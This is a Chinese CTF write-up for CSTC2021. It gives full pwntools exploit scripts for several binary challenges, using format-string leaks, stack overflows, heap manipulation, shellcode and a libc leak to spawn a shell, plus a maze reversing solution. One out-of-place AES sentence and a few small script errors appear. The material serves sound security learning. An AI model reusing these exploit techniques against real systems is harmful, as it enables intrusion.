CSTC2021

write up

Posted by X1ng on May 5, 2021

菜鸡还是喜欢简单题呜呜呜

附件

PWN

bank

用\x00爆破随机数生成的密码绕过strcmp,格式化字符串漏洞输出内存中的flag

exp:

#!/usr/bin/python

from pwn import *
import sys

context.log_level = 'debug'
context.arch='amd64'

local=0
binary_name='bank'

e=ELF("./"+binary_name)

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass

def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

while True:
	try:
		if local:
			p=process("./"+binary_name)
		else:
			p=remote('81.70.195.166',10000)

		ru=lambda x:p.recvuntil(x)
		sl=lambda x:p.sendline(x)
		sd=lambda x:p.send(x)
		sa=lambda a,b:p.sendafter(a,b)
		sla=lambda a,b:p.sendlineafter(a,b)
		ia=lambda :p.interactive()
		
		sla('account:', 'a')
		sla('Please enter your password:', '\x00')
		sl('yes')
		
		sla('Please input your private code:', b'%8$saaaa'+p64(0x404028))
		print('[*]Rush')
		print(ru('aaaa'))
		ia()
		print('[+]Success')
	except:
		print('[-]Failed')

auto

main函数太大ida不能直接f5

动调大致看看加密逻辑,其实就是(5 * (a2+j) + a1+i - 'A') % 26 + 'A'

写脚本爆破所有的加密结果

//g++ -o decode decode.c
//./decode
#include<iostream>

using namespace std;

int main()
{
	char a1 = 'A';
	int a2 = 0;
	char ret = 0,src = 0;
    for(int i = 0; i<26; i++){
		for(int j = 0; j<8; j++){
			ret = (5 * (a2+j) + a1+i - 'A') % 26 + 'A' ;
			src = a1+i;
			cout << src << ":";
			cout << ret << " ";
		}
		cout << "\n";
	}
    return 0;
}

通过验证后栈溢出覆盖返回地址为后门函数

exp:

#!/usr/bin/python

from pwn import *
import sys

context.log_level = 'debug'
context.arch='amd64'

local=0
binary_name='auto'
e=ELF("./"+binary_name)

if local:
    p=process("./"+binary_name)
else:
    p=remote('81.70.195.166',10001)

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

#UCIJEURI

z('b*0x80486ED')
sla('password:','UXYUKVNZ')
sla('password again: ',b'deadbeef\x00'+b'a'*(0x50-9-4)+p32(0x8048665))

ia()

paper

泄露地址后修改栈上的内容为0x21,将chunk分配到栈上实现任意地址写,修改判断条件执行后门函数

exp:

!/usr/bin/python

from pwn import *
import sys

context.log_level = 'debug'
context.arch='amd64'

local=0

if local:
    p=process("./"+binary_name)
else:
    p=remote('81.70.195.166',10003)

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

def cho(num):
    sla("choice > ",str(num))
def add():
    cho(1)
def change(idx,size):
    cho(3)
    sla("Index:",str(idx))
    sla("word count:",str(size))
def show():
    cho(4)
def delete(idx):
    cho(2)
    sla("Index:",str(idx))
def change2(addr):
	cho(5)
	sla("Which disk?", str(addr))

add()
add()
delete(0)
show()
stack = int(ru('\n')[19:-1],16)
print(hex(stack))

z('b*$rebase(0xb97)')

change(0,stack-8)
change2(0x21)
add()
add()
change(3,'3435973836')
cho(6)

ia()

small

栈溢出修改rbp到bss上并覆盖返回地址到read之前,实现栈迁移并写入shellcode,将bss地址覆盖返回地址

在kali上跑不了,好像是因为段的权限问题执行到bss段上的shellcode的时候会报错,在ubuntu上可以打通

exp:

#!/usr/bin/python

from pwn import *
import sys
import time

context.log_level = 'debug'
context.arch='amd64'

local=1
binary_name='small'

e=ELF("./"+binary_name)

if local:
    p=process("./"+binary_name)
else:
    p=remote('81.70.195.166',10002)

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

z('b*main')
rbp = 0x402000+0x10
sl(b'a'*0x10+p64(rbp)+p64(0x401015))
time.sleep(3)
sl(p64(0)*2+p64(rbp)+p64(rbp+0x10)+asm(shellcraft.sh()))


ia()

AES在分组的时候将每一个明文块长度分为128bit,也就是16字节,不满足16字节则需要进行填充

managebooks

被学长秒了

调了一下exp,大概思路是unsorted bin泄露libc,再修改堆上的函数指针为system函数

贴一个@PTT0学长的exp

#!/usr/bin/python

from pwn import *
import sys

context.log_level = 'debug'
context.arch='amd64'

local=1
binary_name='managebooks'
libc_name='libc.so.6'


libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)

if local:
    p=process("./"+binary_name)
else:
    p=remote('',)



def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass

ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()

def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

def cho(num):
    sla(">> ",str(num))

def add(namesize,name,summarysize,summary):
    cho(1)
    sla("name size: ",str(namesize))
    sa("name: ",name)
    sla("summary size: ",str(summarysize))
    sa("summary: ",summary)

def delete(idx):
    cho(2)
    sla("ID (0-10): ",str(idx))

def show(idx):
    cho(4)
    sla("ID (0-10): ",str(idx))

def edit(idx,size,summary):
    cho(3)
    sla("ID (0-10): ",str(idx))
    sla("summary size: ",str(size))
    sa("summary: ",summary)

add(0x10,'aaa',0x500,'bbb')

delete(0)
delete(0)
delete(0)
add(0x10,p64(0x4008D8),0x20,'/bin/sh\x00')

edit(0,0x20,'a')
edit(0,0x4b0,'b'*8)
show(0)
p.recv(8)
libc_base = leak_address()-0x3ec0c0
print(hex(libc_base))

system=libc_base+libc.sym['system']
delete(1)
delete(1)
add(0x10,p64(system),0x30,'c')
show(1)
ia()

RESERVER

Maze

迷宫题,看step2中主要逻辑

(0,0)开始走,地图为7X7的迷宫

(6,6)则通过,路径md5后即为flag

用gdb在step2函数开始处下断点读取内存中的地图

gdb Maze
start
b*$rebase(0x166f)

此时函数参数是地图的地址

0x00000001 0x00000000 0x00000000 0x00000001 0x00000001 0x00000001 0x00000001
0x00000001 0x00000000 0x00000001 0x00000001 0x00000000 0x00000000 0x00000001
0x00000001 0x00000001 0x00000001 0x00000000 0x00000001 0x00000001 0x00000001
0x00000000 0x00000000 0x00000000 0x00000001 0x00000001 0x00000000 0x00000000
0x00000001 0x00000001 0x00000001 0x00000001 0x00000000 0x00000000 0x00000000
0x00000001 0x00000000 0x00000000 0x00000000 0x00000001 0x00000001 0x00000001
0x00000001 0x00000001 0x00000001 0x00000001 0x00000001 0x00000000 0x00000001 

ssddwdwdddssaasasaaassddddwdds